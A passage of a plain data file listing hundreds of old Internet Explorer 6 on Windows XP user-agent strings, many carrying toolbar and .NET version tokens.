3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; yplus 5.3.02d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 5.6.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.341.0; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; yplus 5.3.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.5.01b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; Seekmo 10.0.341.0; yplus 5.6.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1; .NET CLR 2.0.50727; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.01d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.02d)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.4.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.5.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Zango 10.0.370.0; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/13.0.782.215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/13.0.782.41; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/14.0.835.186)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/18.0.1025.142)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; .NET CLR 3.0.04506.30; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; InfoPath.2; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQDownload 1.7; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQDownload 627; GTB6.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQPinyinSetup 614; .NET CLR 2.0.50727; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.2; MEGAUPLOAD 1.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; Maxthon; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 1.7; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 615; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 667; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; ie4.com; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; FunWebProducts; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; i-NavFourF; .NET CLR 1.1.4322; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; msn OptimizedIE8;ENUS; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yie8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteCoach 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteKiosk 5.5 Build 45; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteKiosk 6.0 Build 98)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.760; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.763; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.763; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.906; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; Q312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TMCID=AMT000201; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TMCID=SIEMENS-SK55; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler 4.0; GTB6.5; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; SLCC1; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; U)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; U; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.4; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; FunWebProducts; SV1; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; MathPlayer 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows 98; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.1.7.0; .NET CLR 1.0.3705; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.4; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1; YPC 3.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; YPC 3.0.1; SV1; .NET CLR 1.0.3705; HbTools 4.7.0; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; FunWebProducts; .NET CLR 1.0.3705; Hotbar 4.6.1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.1.4322; HbTools 4.8.2; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; FunWebProducts; yplus 4.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 